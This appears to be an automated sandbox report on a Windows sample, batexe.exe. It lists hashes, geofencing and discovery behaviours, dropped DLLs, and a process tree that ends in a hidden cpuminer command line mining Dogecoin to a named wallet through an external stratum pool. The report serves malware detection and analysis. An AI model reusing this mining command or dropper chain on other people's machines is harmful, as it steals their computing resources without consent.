73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11-02-2024 19:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5568	b2e.exe
5940	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4460-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 5568	4460	batexe.exe	85
PID 4460 wrote to memory of 5568	4460	batexe.exe	85
PID 4460 wrote to memory of 5568	4460	batexe.exe	85
PID 5568 wrote to memory of 5236	5568	b2e.exe	87
PID 5568 wrote to memory of 5236	5568	b2e.exe	87
PID 5568 wrote to memory of 5236	5568	b2e.exe	87
PID 5236 wrote to memory of 5940	5236	cmd.exe	89
PID 5236 wrote to memory of 5940	5236	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\66C8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5236
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
7.8MB

MD5
0c568c04ce0670a46677c85b5bd4d9d6

SHA1
bc09ed9947807a89462ebf465b31c3956b9dae3f

SHA256
26b36a10024cd3a01689479d18f0ad29c472a1fb26ceba7c580c967de7c516ae

SHA512
2edb607fe43e1ff208bbd24f558cabb4419a3996a271f784d5cdf2321ec4a481db68a99e2da8a742468917f96dbfd09beb4a576aabcc37769e7e537e6ebfe9f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
3.3MB

MD5
5fd1964cd8c0693f3efbe3bc4cb238bf

SHA1
28f03bb38fdca5a8e798d6cc188666327d45f775

SHA256
2a5b62b511ba168965a90ea26124ea33f235b7834793bc1616eb28d1e9a6c907

SHA512
c0f1cbca9e9dd7c56991baa4e5e1807ccb771a1a92d81065fa8924a9105f9e3d50d35fdb187ff14e5de3a2838b8c70feba4060fa1dc1d03fd8c8e333f7b1f27c

Download Submit
C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
3.0MB

MD5
43ec65111ae6fa7fb9b46a40d2167769

SHA1
16d4daaaf25eb14698baced23f61911aa0559d5f

SHA256
7b44938e1d4e6ac7e3ac1fa1c5b1bfeeb4b495114fd1ed63bd1bcc22c8870674

SHA512
20e5c3a7ac19b7f5d12360bec972e853547a410ef471733606f99a2c5b3385b8672925d553484ef7d19742630305037ddbad0fc589f7032c44e573476e337c93

Download Submit
C:\Users\Admin\AppData\Local\Temp\66C8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
6c6f168392ac21d5683e2fae6b25a17f

SHA1
2968f5dc2742a57f0006b0093399c2a4a5e7c6f5

SHA256
d87580372f8d6076bcf3430b2c12d81e5938c5009d3801470fed692f7c599eed

SHA512
a2d20865f98688261f7e10856a4d24fb6eb96832f4d129d45d5a39ad9e654b3a0c05d4d2023869e05ec8ed9a52111b0978de152092b82ae84769b6163ef18cfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
bb9c01450a48ede397ab9d613a46cb9c

SHA1
0be7ee50b5a09addba63d6bc4561e027c3ba84bb

SHA256
36e629603c65698cc22e70bc06105c734902824a00b6bce5dfeac3234bec75b4

SHA512
547f0d5c17088a132e2fd400e1874ee2f5e0988a4f9a38c79c3c49746212cf40853a6d38da4d1cda42804be19f2a635f7b93a472ab93790bbc27956b0dab11ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
f30353ae373b8d06e76c4c51c7d71dbe

SHA1
c0017c76df659be4a05d80f430d9ab52d05a35de

SHA256
62b0293b7463fafb593f30eb539b7be5dfa3fb02f2c45019d4f1faf0fa730662

SHA512
85715b447686260d2f53704bde123eeec70e1a7116b866ee650829dd373ee802905f65e2e4d5d069ca0ed120712be8b5adb621d22783b150ca4935dc2cc6f98d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
ea31854cf3c46bd88ac5568b9d53fae5

SHA1
079533130e9afb4f88c44737ea81b599313debee

SHA256
18972ac55953a2c0b4d507abbf6cd946fcf9191c2a277a023d91021638440c20

SHA512
af9c0da277c5586c73d838748535341ee1f2fedd3127876981072b5bf0340564a43901d2f97eaae6a8281ad41947a774fb2d6203b99d2c0ce23df17dc7b3f7f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
15689c280bd917e647d4dc784acf0ba5

SHA1
cf365048e505fe826c916f704cbf6f564ffa5007

SHA256
9858ca304b93cebe045f38454af08b34c27b1f15332a462f8edef213cbfa4874

SHA512
7a6e86a084b16431ae1df9e4000547668642afff03e14be857677cb8c9a6f7ffb27ddf8a771ca6bc00bf895c3b09ee13f5d9cdd1de3508e8b8c4531434386e47

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4460-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5568-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5568-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5940-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-45-0x0000000055450000-0x00000000554E8000-memory.dmp

Filesize
608KB

Download
memory/5940-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5940-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/5940-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5940-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download